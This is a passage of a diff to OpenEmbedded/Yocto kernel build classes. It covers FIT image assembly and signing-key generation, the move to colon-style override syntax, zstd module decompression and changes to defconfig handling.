+ if [ -n "${UBOOT_ENV}" ] && [ -d "${STAGING_DIR_HOST}/boot" ]; then
+ if [ -e "${STAGING_DIR_HOST}/boot/${UBOOT_ENV_BINARY}" ]; then
+ cp ${STAGING_DIR_HOST}/boot/${UBOOT_ENV_BINARY} ${B}
+ bootscr_id="${UBOOT_ENV_BINARY}"
+ fitimage_emit_section_boot_script $1 "$bootscr_id" ${UBOOT_ENV_BINARY}
+ else
+ bbwarn "${STAGING_DIR_HOST}/boot/${UBOOT_ENV_BINARY} not found."
+ fi
+ fi
+
+ #
+ # Step 4: Prepare a setup section. (For x86)
#
if [ -e arch/${ARCH}/boot/setup.bin ]; then
setupcount=1
- fitimage_emit_section_setup ${1} "${setupcount}" arch/${ARCH}/boot/setup.bin
+ fitimage_emit_section_setup $1 $setupcount arch/${ARCH}/boot/setup.bin
fi
#
- # Step 4: Prepare a ramdisk section.
+ # Step 5: Prepare a ramdisk section.
#
- if [ "x${ramdiskcount}" = "x1" ] ; then
+ if [ "x${ramdiskcount}" = "x1" ] && [ "${INITRAMFS_IMAGE_BUNDLE}" != "1" ]; then
# Find and use the first initramfs image archive type we find
- for img in cpio.lz4 cpio.lzo cpio.lzma cpio.xz cpio.gz ext2.gz cpio; do
- initramfs_path="${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.${img}"
- echo "Using $initramfs_path"
- if [ -e "${initramfs_path}" ]; then
- fitimage_emit_section_ramdisk ${1} "${ramdiskcount}" "${initramfs_path}"
+ for img in cpio.lz4 cpio.lzo cpio.lzma cpio.xz cpio.zst cpio.gz ext2.gz cpio; do
+ initramfs_path="${DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.$img"
+ echo -n "Searching for $initramfs_path..."
+ if [ -e "$initramfs_path" ]; then
+ echo "found"
+ fitimage_emit_section_ramdisk $1 "$ramdiskcount" "$initramfs_path"
break
+ else
+ echo "not found"
fi
done
fi
- fitimage_emit_section_maint ${1} sectend
+ fitimage_emit_section_maint $1 sectend
# Force the first Kernel and DTB in the default config
kernelcount=1
- if [ -n "${dtbcount}" ]; then
+ if [ -n "$dtbcount" ]; then
dtbcount=1
fi
#
- # Step 5: Prepare a configurations section
+ # Step 6: Prepare a configurations section
#
- fitimage_emit_section_maint ${1} confstart
-
- if [ -n "${DTBS}" ]; then
+ fitimage_emit_section_maint $1 confstart
+
+ # kernel-fitimage.bbclass currently only supports a single kernel (no less or
+ # more) to be added to the FIT image along with 0 or more device trees and
+ # 0 or 1 ramdisk.
+ # It is also possible to include an initramfs bundle (kernel and rootfs in one binary)
+ # When the initramfs bundle is used ramdisk is disabled.
+ # If a device tree is to be part of the FIT image, then select
+ # the default configuration to be used is based on the dtbcount. If there is
+ # no dtb present than select the default configuation to be based on
+ # the kernelcount.
+ if [ -n "$DTBS" ]; then
i=1
for DTB in ${DTBS}; do
dtb_ext=${DTB##*.}
- if [ "${dtb_ext}" = "dtbo" ]; then
- fitimage_emit_section_config ${1} "" "${DTB}" "" "" "`expr ${i} = ${dtbcount}`"
+ if [ "$dtb_ext" = "dtbo" ]; then
+ fitimage_emit_section_config $1 "" "$DTB" "" "$bootscr_id" "" "`expr $i = $dtbcount`"
else
- fitimage_emit_section_config ${1} "${kernelcount}" "${DTB}" "${ramdiskcount}" "${setupcount}" "`expr ${i} = ${dtbcount}`"
+ fitimage_emit_section_config $1 $kernelcount "$DTB" "$ramdiskcount" "$bootscr_id" "$setupcount" "`expr $i = $dtbcount`"
fi
- i=`expr ${i} + 1`
+ i=`expr $i + 1`
done
+ else
+ defaultconfigcount=1
+ fitimage_emit_section_config $1 $kernelcount "" "$ramdiskcount" "$bootscr_id" "$setupcount" $defaultconfigcount
fi
- fitimage_emit_section_maint ${1} sectend
+ fitimage_emit_section_maint $1 sectend
- fitimage_emit_section_maint ${1} fitend
+ fitimage_emit_section_maint $1 fitend
#
- # Step 6: Assemble the image
+ # Step 7: Assemble the image
#
- uboot-mkimage \
+ ${UBOOT_MKIMAGE} \
${@'-D "${UBOOT_MKIMAGE_DTCOPTS}"' if len('${UBOOT_MKIMAGE_DTCOPTS}') else ''} \
- -f ${1} \
- arch/${ARCH}/boot/${2}
+ -f $1 \
+ arch/${ARCH}/boot/$2
#
- # Step 7: Sign the image and add public key to U-Boot dtb
+ # Step 8: Sign the image and add public key to U-Boot dtb
#
if [ "x${UBOOT_SIGN_ENABLE}" = "x1" ] ; then
add_key_to_u_boot=""
@@ -471,18 +642,19 @@ fitimage_assemble() {
cp -P ${STAGING_DATADIR}/u-boot*.dtb ${B}
add_key_to_u_boot="-K ${B}/${UBOOT_DTB_BINARY}"
fi
- uboot-mkimage \
+ ${UBOOT_MKIMAGE_SIGN} \
${@'-D "${UBOOT_MKIMAGE_DTCOPTS}"' if len('${UBOOT_MKIMAGE_DTCOPTS}') else ''} \
-F -k "${UBOOT_SIGN_KEYDIR}" \
$add_key_to_u_boot \
- -r arch/${ARCH}/boot/${2}
+ -r arch/${ARCH}/boot/$2 \
+ ${UBOOT_MKIMAGE_SIGN_ARGS}
fi
}
do_assemble_fitimage() {
if echo ${KERNEL_IMAGETYPES} | grep -wq "fitImage"; then
cd ${B}
- fitimage_assemble fit-image.its fitImage
+ fitimage_assemble fit-image.its fitImage ""
fi
}
@@ -492,39 +664,127 @@ do_assemble_fitimage_initramfs() {
if echo ${KERNEL_IMAGETYPES} | grep -wq "fitImage" && \
test -n "${INITRAMFS_IMAGE}" ; then
cd ${B}
- fitimage_assemble fit-image-${INITRAMFS_IMAGE}.its fitImage-${INITRAMFS_IMAGE} 1
+ if [ "${INITRAMFS_IMAGE_BUNDLE}" = "1" ]; then
+ fitimage_assemble fit-image-${INITRAMFS_IMAGE}.its fitImage ""
+ else
+ fitimage_assemble fit-image-${INITRAMFS_IMAGE}.its fitImage-${INITRAMFS_IMAGE} 1
+ fi
fi
}
addtask assemble_fitimage_initramfs before do_deploy after do_bundle_initramfs
+do_kernel_generate_rsa_keys() {
+ if [ "${UBOOT_SIGN_ENABLE}" = "0" ] && [ "${FIT_GENERATE_KEYS}" = "1" ]; then
+ bbwarn "FIT_GENERATE_KEYS is set to 1 even though UBOOT_SIGN_ENABLE is set to 0. The keys will not be generated as they won't be used."
+ fi
+
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" ] && [ "${FIT_GENERATE_KEYS}" = "1" ]; then
+
+ # Generate keys to sign configuration nodes, only if they don't already exist
+ if [ ! -f "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".key ] || \
+ [ ! -f "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".crt ]; then
+
+ # make directory if it does not already exist
+ mkdir -p "${UBOOT_SIGN_KEYDIR}"
+
+ echo "Generating RSA private key for signing fitImage"
+ openssl genrsa ${FIT_KEY_GENRSA_ARGS} -out \
+ "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".key \
+ "${FIT_SIGN_NUMBITS}"
+
+ echo "Generating certificate for signing fitImage"
+ openssl req ${FIT_KEY_REQ_ARGS} "${FIT_KEY_SIGN_PKCS}" \
+ -key "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".key \
+ -out "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_KEYNAME}".crt
+ fi
+
+ # Generate keys to sign image nodes, only if they don't already exist
+ if [ ! -f "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_IMG_KEYNAME}".key ] || \
+ [ ! -f "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_IMG_KEYNAME}".crt ]; then
+
+ # make directory if it does not already exist
+ mkdir -p "${UBOOT_SIGN_KEYDIR}"
+
+ echo "Generating RSA private key for signing fitImage"
+ openssl genrsa ${FIT_KEY_GENRSA_ARGS} -out \
+ "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_IMG_KEYNAME}".key \
+ "${FIT_SIGN_NUMBITS}"
+
+ echo "Generating certificate for signing fitImage"
+ openssl req ${FIT_KEY_REQ_ARGS} "${FIT_KEY_SIGN_PKCS}" \
+ -key "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_IMG_KEYNAME}".key \
+ -out "${UBOOT_SIGN_KEYDIR}/${UBOOT_SIGN_IMG_KEYNAME}".crt
+ fi
+ fi
+}
+
+addtask kernel_generate_rsa_keys before do_assemble_fitimage after do_compile
kernel_do_deploy[vardepsexclude] = "DATETIME"
-kernel_do_deploy_append() {
+kernel_do_deploy:append() {
# Update deploy directory
if echo ${KERNEL_IMAGETYPES} | grep -wq "fitImage"; then
- echo "Copying fit-image.its source file..."
- install -m 0644 ${B}/fit-image.its "$deployDir/fitImage-its-${KERNEL_FIT_NAME}.its"
- ln -snf fitImage-its-${KERNEL_FIT_NAME}.its "$deployDir/fitImage-its-${KERNEL_FIT_LINK_NAME}"
- echo "Copying linux.bin file..."
- install -m 0644 ${B}/linux.bin $deployDir/fitImage-linux.bin-${KERNEL_FIT_NAME}.bin
- ln -snf fitImage-linux.bin-${KERNEL_FIT_NAME}.bin "$deployDir/fitImage-linux.bin-${KERNEL_FIT_LINK_NAME}"
+ if [ "${INITRAMFS_IMAGE_BUNDLE}" != "1" ]; then
+ echo "Copying fit-image.its source file..."
+ install -m 0644 ${B}/fit-image.its "$deployDir/fitImage-its-${KERNEL_FIT_NAME}.its"
+ if [ -n "${KERNEL_FIT_LINK_NAME}" ] ; then
+ ln -snf fitImage-its-${KERNEL_FIT_NAME}.its "$deployDir/fitImage-its-${KERNEL_FIT_LINK_NAME}"
+ fi
+
+ echo "Copying linux.bin file..."
+ install -m 0644 ${B}/linux.bin $deployDir/fitImage-linux.bin-${KERNEL_FIT_NAME}${KERNEL_FIT_BIN_EXT}
+ if [ -n "${KERNEL_FIT_LINK_NAME}" ] ; then
+ ln -snf fitImage-linux.bin-${KERNEL_FIT_NAME}${KERNEL_FIT_BIN_EXT} "$deployDir/fitImage-linux.bin-${KERNEL_FIT_LINK_NAME}"
+ fi
+ fi
if [ -n "${INITRAMFS_IMAGE}" ]; then
echo "Copying fit-image-${INITRAMFS_IMAGE}.its source file..."
install -m 0644 ${B}/fit-image-${INITRAMFS_IMAGE}.its "$deployDir/fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.its"
- ln -snf fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.its "$deployDir/fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_LINK_NAME}"
+ if [ -n "${KERNEL_FIT_LINK_NAME}" ] ; then
+ ln -snf fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.its "$deployDir/fitImage-its-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_LINK_NAME}"
+ fi
- echo "Copying fitImage-${INITRAMFS_IMAGE} file..."
- install -m 0644 ${B}/arch/${ARCH}/boot/fitImage-${INITRAMFS_IMAGE} "$deployDir/fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.bin"
- ln -snf fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}.bin "$deployDir/fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_LINK_NAME}"
- fi
- if [ "${UBOOT_SIGN_ENABLE}" = "1" -a -n "${UBOOT_DTB_BINARY}" ] ; then
- # UBOOT_DTB_IMAGE is a realfile, but we can't use
- # ${UBOOT_DTB_IMAGE} since it contains ${PV} which is aimed
- # for u-boot, but we are in kernel env now.
- install -m 0644 ${B}/u-boot-${MACHINE}*.dtb "$deployDir/"
+ if [ "${INITRAMFS_IMAGE_BUNDLE}" != "1" ]; then
+ echo "Copying fitImage-${INITRAMFS_IMAGE} file..."
+ install -m 0644 ${B}/arch/${ARCH}/boot/fitImage-${INITRAMFS_IMAGE} "$deployDir/fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}${KERNEL_FIT_BIN_EXT}"
+ if [ -n "${KERNEL_FIT_LINK_NAME}" ] ; then
+ ln -snf fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_NAME}${KERNEL_FIT_BIN_EXT} "$deployDir/fitImage-${INITRAMFS_IMAGE_NAME}-${KERNEL_FIT_LINK_NAME}"
+ fi
+ fi
fi
fi
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -o "${UBOOT_FITIMAGE_ENABLE}" = "1" ] && \
+ [ -n "${UBOOT_DTB_BINARY}" ] ; then
+ # UBOOT_DTB_IMAGE is a realfile, but we can't use
+ # ${UBOOT_DTB_IMAGE} since it contains ${PV} which is aimed
+ # for u-boot, but we are in kernel env now.
+ install -m 0644 ${B}/u-boot-${MACHINE}*.dtb "$deployDir/"
+ fi
+ if [ "${UBOOT_FITIMAGE_ENABLE}" = "1" -a -n "${UBOOT_BINARY}" -a -n "${SPL_DTB_BINARY}" ] ; then
+ # If we're also creating and/or signing the uboot fit, now we need to
+ # deploy it, it's its file, as well as u-boot-spl.dtb
+ install -m 0644 ${B}/u-boot-spl-${MACHINE}*.dtb "$deployDir/"
+ echo "Copying u-boot-fitImage file..."
+ install -m 0644 ${B}/u-boot-fitImage-* "$deployDir/"
+ echo "Copying u-boot-its file..."
+ install -m 0644 ${B}/u-boot-its-* "$deployDir/"
+ fi
+}
+
+# The function below performs the following in case of initramfs bundles:
+# - Removes do_assemble_fitimage. FIT generation is done through
+# do_assemble_fitimage_initramfs. do_assemble_fitimage is not needed
+# and should not be part of the tasks to be executed.
+# - Since do_kernel_generate_rsa_keys is inserted by default
+# between do_compile and do_assemble_fitimage, this is
+# not suitable in case of initramfs bundles. do_kernel_generate_rsa_keys
+# should be between do_bundle_initramfs and do_assemble_fitimage_initramfs.
+python () {
+ if d.getVar('INITRAMFS_IMAGE_BUNDLE') == "1":
+ bb.build.deltask('do_assemble_fitimage', d)
+ bb.build.deltask('kernel_generate_rsa_keys', d)
+ bb.build.addtask('kernel_generate_rsa_keys', 'do_assemble_fitimage_initramfs', 'do_bundle_initramfs', d)
}
diff --git a/meta/classes/kernel-grub.bbclass b/meta/classes/kernel-grub.bbclass
index 5d92f3b636..44b2015468 100644
--- a/meta/classes/kernel-grub.bbclass
+++ b/meta/classes/kernel-grub.bbclass
@@ -99,7 +99,7 @@ python __anonymous () {
typelower = type.lower()
preinst_append = preinst.replace('KERNEL_IMAGETYPE', type)
postinst_prepend = postinst.replace('KERNEL_IMAGETYPE', type)
- d.setVar('pkg_preinst_kernel-image-' + typelower + '_append', preinst_append)
- d.setVar('pkg_postinst_kernel-image-' + typelower + '_prepend', postinst_prepend)
+ d.setVar('pkg_preinst:kernel-image-' + typelower + ':append', preinst_append)
+ d.setVar('pkg_postinst:kernel-image-' + typelower + ':prepend', postinst_prepend)
}
diff --git a/meta/classes/kernel-module-split.bbclass b/meta/classes/kernel-module-split.bbclass
index 221022b7bc..a29c294810 100644
--- a/meta/classes/kernel-module-split.bbclass
+++ b/meta/classes/kernel-module-split.bbclass
@@ -1,4 +1,4 @@
-pkg_postinst_modules () {
+pkg_postinst:modules () {
if [ -z "$D" ]; then
depmod -a ${KERNEL_VERSION}
else
@@ -8,7 +8,7 @@ else
fi
}
-pkg_postrm_modules () {
+pkg_postrm:modules () {
if [ -z "$D" ]; then
depmod -a ${KERNEL_VERSION}
else
@@ -24,11 +24,12 @@ fi
PACKAGE_WRITE_DEPS += "kmod-native depmodwrapper-cross"
-do_install_append() {
+do_install:append() {
install -d ${D}${sysconfdir}/modules-load.d/ ${D}${sysconfdir}/modprobe.d/
}
-PACKAGESPLITFUNCS_prepend = "split_kernel_module_packages "
+KERNEL_SPLIT_MODULES ?= "1"
+PACKAGESPLITFUNCS:prepend = "split_kernel_module_packages "
KERNEL_MODULES_META_PACKAGE ?= "${@ d.getVar("KERNEL_PACKAGE_NAME") or "kernel" }-modules"
@@ -44,17 +45,20 @@ python split_kernel_module_packages () {
def extract_modinfo(file):
import tempfile, subprocess
tempfile.tempdir = d.getVar("WORKDIR")
- compressed = re.match( r'.*\.([xg])z$', file)
+ compressed = re.match( r'.*\.(gz|xz|zst)$', file)
tf = tempfile.mkstemp()
tmpfile = tf[1]
if compressed:
tmpkofile = tmpfile + ".ko"
- if compressed.group(1) == 'g':
+ if compressed.group(1) == 'gz':
cmd = "gunzip -dc %s > %s" % (file, tmpkofile)
subprocess.check_call(cmd, shell=True)
- elif compressed.group(1) == 'x':
+ elif compressed.group(1) == 'xz':
cmd = "xz -dc %s > %s" % (file, tmpkofile)
subprocess.check_call(cmd, shell=True)
+ elif compressed.group(1) == 'zst':
+ cmd = "zstd -dc %s > %s" % (file, tmpkofile)
+ subprocess.check_call(cmd, shell=True)
else:
msg = "Cannot decompress '%s'" % file
raise msg
@@ -100,11 +104,11 @@ python split_kernel_module_packages () {
else:
f.write('%s\n' % basename)
f.close()
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
- bb.fatal("pkg_postinst_%s not defined" % pkg)
+ bb.fatal("pkg_postinst:%s not defined" % pkg)
postinst += d.getVar('autoload_postinst_fragment') % (autoload or basename)
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
# Write out any modconf fragment
modconflist = (d.getVar("KERNEL_MODULE_PROBECONF") or "").split()
@@ -117,15 +121,19 @@ python split_kernel_module_packages () {
elif modconf:
bb.error("Please ensure module %s is listed in KERNEL_MODULE_PROBECONF since module_conf_%s is set" % (basename, basename))
- files = d.getVar('FILES_%s' % pkg)
+ files = d.getVar('FILES:%s' % pkg)
files = "%s /etc/modules-load.d/%s.conf /etc/modprobe.d/%s.conf" % (files, basename, basename)
- d.setVar('FILES_%s' % pkg, files)
+ d.setVar('FILES:%s' % pkg, files)
+
+ conffiles = d.getVar('CONFFILES:%s' % pkg)
+ conffiles = "%s /etc/modules-load.d/%s.conf /etc/modprobe.d/%s.conf" % (conffiles, basename, basename)
+ d.setVar('CONFFILES:%s' % pkg, conffiles)
if "description" in vals:
- old_desc = d.getVar('DESCRIPTION_' + pkg) or ""
- d.setVar('DESCRIPTION_' + pkg, old_desc + "; " + vals["description"])
+ old_desc = d.getVar('DESCRIPTION:' + pkg) or ""
+ d.setVar('DESCRIPTION:' + pkg, old_desc + "; " + vals["description"])
- rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS_' + pkg) or "")
+ rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS:' + pkg) or "")
modinfo_deps = []
if "depends" in vals and vals["depends"] != "":
for dep in vals["depends"].split(","):
@@ -135,33 +143,41 @@ python split_kernel_module_packages () {
for dep in modinfo_deps:
if not dep in rdepends:
rdepends[dep] = []
- d.setVar('RDEPENDS_' + pkg, bb.utils.join_deps(rdepends, commasep=False))
+ d.setVar('RDEPENDS:' + pkg, bb.utils.join_deps(rdepends, commasep=False))
# Avoid automatic -dev recommendations for modules ending with -dev.
- d.setVarFlag('RRECOMMENDS_' + pkg, 'nodeprrecs', 1)
+ d.setVarFlag('RRECOMMENDS:' + pkg, 'nodeprrecs', 1)
# Provide virtual package without postfix
providevirt = d.getVar('KERNEL_MODULE_PROVIDE_VIRTUAL')
if providevirt == "1":
postfix = format.split('%s')[1]
- d.setVar('RPROVIDES_' + pkg, pkg.replace(postfix, ''))
+ d.setVar('RPROVIDES:' + pkg, pkg.replace(postfix, ''))
kernel_package_name = d.getVar("KERNEL_PACKAGE_NAME") or "kernel"
kernel_version = d.getVar("KERNEL_VERSION")
- module_regex = r'^(.*)\.k?o(?:\.[xg]z)?$'
+ metapkg = d.getVar('KERNEL_MODULES_META_PACKAGE')
+ splitmods = d.getVar('KERNEL_SPLIT_MODULES')
+ postinst = d.getVar('pkg_postinst:modules')
+ postrm = d.getVar('pkg_postrm:modules')
+
+ if splitmods != '1':
+ etcdir = d.getVar('sysconfdir')
+ d.appendVar('FILES:' + metapkg, '%s/modules-load.d/ %s/modprobe.d/ %s/modules/' % (etcdir, etcdir, d.getVar("nonarch_base_libdir")))
+ d.appendVar('pkg_postinst:%s' % metapkg, postinst)
+ d.prependVar('pkg_postrm:%s' % metapkg, postrm);
+ return
+
+ module_regex = r'^(.*)\.k?o(?:\.(gz|xz|zst))?$'
module_pattern_prefix = d.getVar('KERNEL_MODULE_PACKAGE_PREFIX')
module_pattern_suffix = d.getVar('KERNEL_MODULE_PACKAGE_SUFFIX')
module_pattern = module_pattern_prefix + kernel_package_name + '-module-%s' + module_pattern_suffix
- postinst = d.getVar('pkg_postinst_modules')
- postrm = d.getVar('pkg_postrm_modules')
-
modules = do_split_packages(d, root='${nonarch_base_libdir}/modules', file_regex=module_regex, output_pattern=module_pattern, description='%s kernel module', postinst=postinst, postrm=postrm, recursive=True, hook=frob_metadata, extra_depends='%s-%s' % (kernel_package_name, kernel_version))
if modules:
- metapkg = d.getVar('KERNEL_MODULES_META_PACKAGE')
- d.appendVar('RDEPENDS_' + metapkg, ' '+' '.join(modules))
+ d.appendVar('RDEPENDS:' + metapkg, ' '+' '.join(modules))
# If modules-load.d and modprobe.d are empty at this point, remove them to
# avoid warnings. removedirs only raises an OSError if an empty
diff --git a/meta/classes/kernel-uboot.bbclass b/meta/classes/kernel-uboot.bbclass
index 87f02654fa..2daa068298 100644
--- a/meta/classes/kernel-uboot.bbclass
+++ b/meta/classes/kernel-uboot.bbclass
@@ -1,3 +1,7 @@
+# fitImage kernel compression algorithm
+FIT_KERNEL_COMP_ALG ?= "gzip"
+FIT_KERNEL_COMP_ALG_EXTENSION ?= ".gz"
+
uboot_prep_kimage() {
if [ -e arch/${ARCH}/boot/compressed/vmlinux ]; then
vmlinux_path="arch/${ARCH}/boot/compressed/vmlinux"
@@ -11,14 +15,18 @@ uboot_prep_kimage() {
linux_comp="none"
else
vmlinux_path="vmlinux"
- linux_suffix=".gz"
- linux_comp="gzip"
+ linux_suffix="${FIT_KERNEL_COMP_ALG_EXTENSION}"
+ linux_comp="${FIT_KERNEL_COMP_ALG}"
fi
[ -n "${vmlinux_path}" ] && ${OBJCOPY} -O binary -R .note -R .comment -S "${vmlinux_path}" linux.bin
if [ "${linux_comp}" != "none" ] ; then
- gzip -9 linux.bin
+ if [ "${linux_comp}" = "gzip" ] ; then
+ gzip -9 linux.bin
+ elif [ "${linux_comp}" = "lzo" ] ; then
+ lzop -9 linux.bin
+ fi
mv -f "linux.bin${linux_suffix}" linux.bin
fi
diff --git a/meta/classes/kernel-yocto.bbclass b/meta/classes/kernel-yocto.bbclass
index ed9bcfa57c..1d5a8cdf29 100644
--- a/meta/classes/kernel-yocto.bbclass
+++ b/meta/classes/kernel-yocto.bbclass
@@ -1,8 +1,25 @@
# remove tasks that modify the source tree in case externalsrc is inherited
-SRCTREECOVEREDTASKS += "do_kernel_configme do_validate_branches do_kernel_configcheck do_kernel_checkout do_fetch do_unpack do_patch"
+SRCTREECOVEREDTASKS += "do_validate_branches do_kernel_configcheck do_kernel_checkout do_fetch do_unpack do_patch"
PATCH_GIT_USER_EMAIL ?= "kernel-yocto@oe"
PATCH_GIT_USER_NAME ?= "OpenEmbedded"
+# The distro or local.conf should set this, but if nobody cares...
+LINUX_KERNEL_TYPE ??= "standard"
+
+# KMETA ?= ""
+KBRANCH ?= "master"
+KMACHINE ?= "${MACHINE}"
+SRCREV_FORMAT ?= "meta_machine"
+
+# LEVELS:
+# 0: no reporting
+# 1: report options that are specified, but not in the final config
+# 2: report options that are not hardware related, but set by a BSP
+KCONF_AUDIT_LEVEL ?= "1"
+KCONF_BSP_AUDIT_LEVEL ?= "0"
+KMETA_AUDIT ?= "yes"
+KMETA_AUDIT_WERROR ?= ""
+
# returns local (absolute) path names for all valid patches in the
# src_uri
def find_patches(d,subdir):
@@ -19,7 +36,10 @@ def find_patches(d,subdir):
if subdir == patchdir:
patch_list.append(local)
else:
- patch_list.append(local)
+ # skip the patch if a patchdir was supplied, it won't be handled
+ # properly
+ if not patchdir:
+ patch_list.append(local)
return patch_list
@@ -31,7 +51,7 @@ def find_sccs(d):
base, ext = os.path.splitext(os.path.basename(s))
if ext and ext in [".scc", ".cfg"]:
sources_list.append(s)
- elif base and base in 'defconfig':
+ elif base and 'defconfig' in base:
sources_list.append(s)
return sources_list
@@ -69,11 +89,35 @@ def get_machine_branch(d, default):
return default
+# returns a list of all directories that are on FILESEXTRAPATHS (and
+# hence available to the build) that contain .scc or .cfg files
+def get_dirs_with_fragments(d):
+ extrapaths = []
+ extrafiles = []
+ extrapathsvalue = (d.getVar("FILESEXTRAPATHS") or "")
+ # Remove default flag which was used for checking
+ extrapathsvalue = extrapathsvalue.replace("__default:", "")
+ extrapaths = extrapathsvalue.split(":")
+ for path in extrapaths:
+ if path + ":True" not in extrafiles:
+ extrafiles.append(path + ":" + str(os.path.exists(path)))
+
+ return " ".join(extrafiles)
+
do_kernel_metadata() {
set +e
+
+ if [ -n "$1" ]; then
+ mode="$1"
+ else
+ mode="patch"
+ fi
+
cd ${S}
export KMETA=${KMETA}
+ bbnote "do_kernel_metadata: for summary/debug, set KCONF_AUDIT_LEVEL > 0"
+
# if kernel tools are available in-tree, they are preferred
# and are placed on the path before any external tools. Unless
# the external tools flag is set, in that case we do nothing.
@@ -83,13 +127,6 @@ do_kernel_metadata() {
fi
fi
- machine_branch="${@ get_machine_branch(d, "${KBRANCH}" )}"
- machine_srcrev="${SRCREV_machine}"
- if [ -z "${machine_srcrev}" ]; then
- # fallback to SRCREV if a non machine_meta tree is being built
- machine_srcrev="${SRCREV}"
- fi
-
# In a similar manner to the kernel itself:
#
# defconfig: $(obj)/conf
@@ -111,47 +148,59 @@ do_kernel_metadata() {
if [ -n "${KBUILD_DEFCONFIG}" ]; then
if [ -f "${S}/arch/${ARCH}/configs/${KBUILD_DEFCONFIG}" ]; then
if [ -f "${WORKDIR}/defconfig" ]; then
- # If the two defconfig's are different, warn that we didn't overwrite the
- # one already placed in WORKDIR by the fetcher.
+ # If the two defconfig's are different, warn that we overwrote the
+ # one already placed in WORKDIR
cmp "${WORKDIR}/defconfig" "${S}/arch/${ARCH}/configs/${KBUILD_DEFCONFIG}"
if [ $? -ne 0 ]; then
- bbwarn "defconfig detected in WORKDIR. ${KBUILD_DEFCONFIG} skipped"
- else
- cp -f ${S}/arch/${ARCH}/configs/${KBUILD_DEFCONFIG} ${WORKDIR}/defconfig
+ bbdebug 1 "detected SRC_URI or unpatched defconfig in WORKDIR. ${KBUILD_DEFCONFIG} copied over it"
fi
+ cp -f ${S}/arch/${ARCH}/configs/${KBUILD_DEFCONFIG} ${WORKDIR}/defconfig
else
cp -f ${S}/arch/${ARCH}/configs/${KBUILD_DEFCONFIG} ${WORKDIR}/defconfig
fi
- sccs="${WORKDIR}/defconfig"
+ in_tree_defconfig="${WORKDIR}/defconfig"
else
- bbfatal "A KBUILD_DEFCONFIG '${KBUILD_DEFCONFIG}' was specified, but not present in the source tree"
+ bbfatal "A KBUILD_DEFCONFIG '${KBUILD_DEFCONFIG}' was specified, but not present in the source tree (${S}/arch/${ARCH}/configs/)"
fi
fi
- # was anyone trying to patch the kernel meta data ?, we need to do
- # this here, since the scc commands migrate the .cfg fragments to the
- # kernel source tree, where they'll be used later.
- check_git_config
- patches="${@" ".join(find_patches(d,'kernel-meta'))}"
- for p in $patches; do
- (
- cd ${WORKDIR}/kernel-meta
- git am -s $p
- )
- done
+ if [ "$mode" = "patch" ]; then
+ # was anyone trying to patch the kernel meta data ?, we need to do
+ # this here, since the scc commands migrate the .cfg fragments to the
+ # kernel source tree, where they'll be used later.
+ check_git_config
+ patches="${@" ".join(find_patches(d,'kernel-meta'))}"
+ for p in $patches; do
+ (
+ cd ${WORKDIR}/kernel-meta
+ git am -s $p
+ )
+ done
+ fi
sccs_from_src_uri="${@" ".join(find_sccs(d))}"
patches="${@" ".join(find_patches(d,''))}"
feat_dirs="${@" ".join(find_kernel_feature_dirs(d))}"
- # a quick check to make sure we don't have duplicate defconfigs
- # If there's a defconfig in the SRC_URI, did we also have one from
- # the KBUILD_DEFCONFIG processing above ?
- if [ -n "$sccs" ]; then
- # we did have a defconfig from above. remove any that might be in the src_uri
- sccs_from_src_uri=$(echo $sccs_from_src_uri | awk '{ if ($0!="defconfig") { print $0 } }' RS=' ')
+ # a quick check to make sure we don't have duplicate defconfigs If
+ # there's a defconfig in the SRC_URI, did we also have one from the
+ # KBUILD_DEFCONFIG processing above ?
+ src_uri_defconfig=$(echo $sccs_from_src_uri | awk '(match($0, "defconfig") != 0) { print $0 }' RS=' ')
+ # drop and defconfig's from the src_uri variable, we captured it just above here if it existed
+ sccs_from_src_uri=$(echo $sccs_from_src_uri | awk '(match($0, "defconfig") == 0) { print $0 }' RS=' ')
+
+ if [ -n "$in_tree_defconfig" ]; then
+ sccs_defconfig=$in_tree_defconfig
+ if [ -n "$src_uri_defconfig" ]; then
+ bbwarn "[NOTE]: defconfig was supplied both via KBUILD_DEFCONFIG and SRC_URI. Dropping SRC_URI defconfig"
+ fi
+ else
+ # if we didn't have an in-tree one, make our defconfig the one
+ # from the src_uri. Note: there may not have been one from the
+ # src_uri, so this can be an empty variable.
+ sccs_defconfig=$src_uri_defconfig
fi
- sccs="$sccs $sccs_from_src_uri"
+ sccs="$sccs_from_src_uri"
# check for feature directories/repos/branches that were part of the
# SRC_URI. If they were supplied, we convert them into include directives
@@ -178,31 +227,89 @@ do_kernel_metadata() {
# expand kernel features into their full path equivalents
bsp_definition=$(spp ${includes} --find -DKMACHINE=${KMACHINE} -DKTYPE=${LINUX_KERNEL_TYPE})
if [ -z "$bsp_definition" ]; then
- echo "$sccs" | grep -q defconfig
